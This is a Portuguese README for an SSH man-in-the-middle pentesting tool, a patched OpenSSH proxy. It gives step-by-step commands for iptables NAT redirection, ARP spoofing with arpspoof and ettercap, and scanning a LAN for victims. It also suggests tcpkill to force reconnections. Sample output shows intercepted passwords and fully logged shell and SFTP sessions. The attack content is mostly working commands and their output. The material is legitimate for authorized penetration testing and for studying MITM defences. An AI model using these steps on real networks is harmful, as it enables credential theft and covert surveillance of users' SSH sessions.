
Ferramenta de man-in-the-middle para SSH
Autor: Joe Testa (@therealjoetesta)
Esta ferramenta de teste de penetração permite que um auditor intercepte conexões SSH. Um patch aplicado ao código fonte do OpenSSH v7.5p1 faz com que ele atue como um proxy entre a vítima e seu servidor SSH pretendido; todas as senhas e sessões em texto simples são registradas em disco.
Naturalmente, o cliente SSH da vítima reclamará que a chave do servidor mudou. Mas como 99,99999% das vezes isso é causado por uma ação legítima (reinstalação do SO, mudança de configuração, etc.), muitos/maioria dos usuários ignorará o aviso e continuará.
NOTA: Execute o sshd_mitm modificado apenas em uma VM ou contêiner! Edições ad hoc foram feitas nos fontes do OpenSSH em regiões críticas, sem consideração de suas implicações de segurança. Não é difícil imaginar que essas edições introduzam vulnerabilidades graves.
A maneira mais rápida e fácil de começar é usar a imagem Docker com SSH MITM pré-construído.
1.) Obtenha a imagem do Dockerhub com:
$ docker pull positronsecurity/ssh-mitm
2.) Em seguida, execute o contêiner com:
$ mkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm
3.) Ative o encaminhamento IP e as rotas NAT na sua máquina host:
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -P FORWARD ACCEPT
# iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
4.) Encontre alvos na LAN e faça ARP spoofing neles (veja abaixo).
5.) Sessões Shell e SFTP serão registradas no diretório ssh_mitm_logs.
Como root, execute o script install.sh. Isso instalará os pré-requisitos dos repositórios, baixará o arquivo do OpenSSH, verificará sua assinatura, compilará e inicializará um ambiente não privilegiado para execução.
O script JoesAwesomeSSHMITMVictimFinder.py torna muito fácil encontrar alvos em uma LAN. Ele fará ARP spoofing em um bloco de IPs e farejará tráfego SSH por um curto período antes de passar para o próximo bloco. Quaisquer conexões SSH ativas originadas de dispositivos na LAN são reportadas.
Por padrão, JoesAwesomeSSHMITMVictimFinder.py fará ARP spoofing e farejará apenas 5 IPs por vez durante 20 segundos antes de passar para o próximo bloco de 5. Esses parâmetros podem ser ajustados, embora exista uma compensação: quanto mais IPs forem falsificados por vez, maior a chance de capturar uma conexão SSH ativa, mas também maior a carga em sua frágil interface de rede. Sob carga muito alta, sua interface começará a descartar quadros, causando uma negação de serviço e levantando suspeitas (isso é ruim). Os padrões não devem causar problemas na maioria dos casos, embora leve mais tempo para encontrar alvos. O tamanho do bloco pode ser aumentado com segurança em redes de baixa utilização.
Exemplo:
# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141
Local clients:
* 10.11.12.70 -> 174.129.77.155:22
* 10.11.12.43 -> 10.11.99.2:22
A saída acima mostra que dois dispositivos na LAN criaram conexões SSH (10.11.12.43 e 10.11.12.70); estes podem ser alvos para um ataque man-in-the-middle. Observe, no entanto, que para potencialmente interceptar credenciais, você terá que esperar que eles iniciem novas conexões. Pentesters impacientes podem optar por forçar o encerramento de sessões SSH existentes (usando a ferramenta tcpkill), fazendo com que os clientes criem novas imediatamente...
1.) Depois de concluir a configuração inicial e encontrar uma lista de vítimas potenciais (veja acima), execute start.sh como root. Isso iniciará o sshd_mitm, ativará o encaminhamento IP e configurará a interceptação de pacotes SSH através do iptables.
2.) Faça ARP spoofing no(s) alvo(s) (Dica profissional: NÃO falsifique tudo! Sua frágil interface de rede provavelmente não conseguirá lidar com o tráfego de toda a rede de uma só vez. Apenas falsifique alguns IPs por vez):
arpspoof -r -t 192.168.x.1 192.168.x.5
Alternativamente, você pode usar a ferramenta ettercap:
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//
3.) Monitore o auth.log. As senhas interceptadas aparecerão aqui:
sudo tail -f /var/log/auth.log
4.) Uma vez estabelecida a sessão, um registro completo de toda entrada e saída pode ser encontrado em /home/ssh-mitm/. As sessões SSH são registradas como shell_session_*.txt, e as sessões SFTP como sftp_session_*.html (com os arquivos transferidos armazenados em um diretório correspondente).
Após o sucesso, /var/log/auth.log terá linhas que registram a senha, assim:
Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]
Além disso, toda a sessão SSH da vítima é registrada:
# cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
jdog@jefferson ~ $ ppss
PID TT STAT TIME COMMAND
59264 p0 Ss 0:00.02 -bash (bash)
52132 p0 R+p 0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan
Observe que os caracteres nos comandos do usuário aparecem duas vezes no arquivo porque a entrada do usuário é registrada, assim como a saída do shell (que ecoa os caracteres de volta). Observe que quando programas como sudo e ssh desabilitam temporariamente o eco para ler uma senha, caracteres duplicados não são registrados.
Toda atividade SFTP também é capturada. Use um navegador para visualizar sftp_session_0.html. Ele contém um registro de comandos, com links para arquivos enviados e baixados:
# cat /home/ssh-mitm/sftp_session_0.txt
<html><pre>Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
> realpath "." (Result: /home/jdog)
> realpath "/home/jdog/." (Result: /home/jdog)
> ls /home/jdog
drwxr-xr-x 4 jdog jdog 4096 Sep 11 16:12 .
drwxr-xr-x 4 root root 4096 Sep 6 11:53 ..
-rw-r--r-- 1 jdog jdog 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 jdog jdog 220 Aug 31 2015 .bash_logout
drwx------ 2 jdog jdog 4096 Sep 6 11:54 .cache
-rw-r--r-- 1 jdog jdog 655 May 16 08:49 .profile
drwx------ 2 jdog jdog 4096 Sep 8 16:59 .ssh
-rw-rw-r-- 1 jdog jdog 5242880 Sep 8 15:52 file
-rw-rw-r-- 1 jdog jdog 43131 Sep 10 10:47 file2
-rw-rw-r-- 1 jdog jdog 83 Sep 6 12:56 file3
-rw-rw-r-- 1 jdog jdog 3048960 Sep 11 13:51 file4
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> put <a href="https://github.com/jtesta/ssh-mitm/blob/master/sftp_session_0/file5">/home/jdog/file5</a>
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)
> setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)
</pre></html>
Em lol.h existem duas definições: DEBUG_HOST e DEBUG_PORT. Ative-as e defina o hostname para um servidor de teste. Agora você pode conectar-se diretamente ao sshd_mitm sem usar ARP spoofing para testar suas alterações, por exemplo:
ssh -p 2222 valid_user_on_debug_host@localhost
Para testar alterações no código fonte do OpenSSH, use o script dev/redeploy.sh.
Para ver um diff das alterações não commitadas, use o script dev/make_diff_of_uncommitted_changes.sh.
Para regenerar um patch completo para os fontes do OpenSSH, use o script dev/regenerate_patch.sh.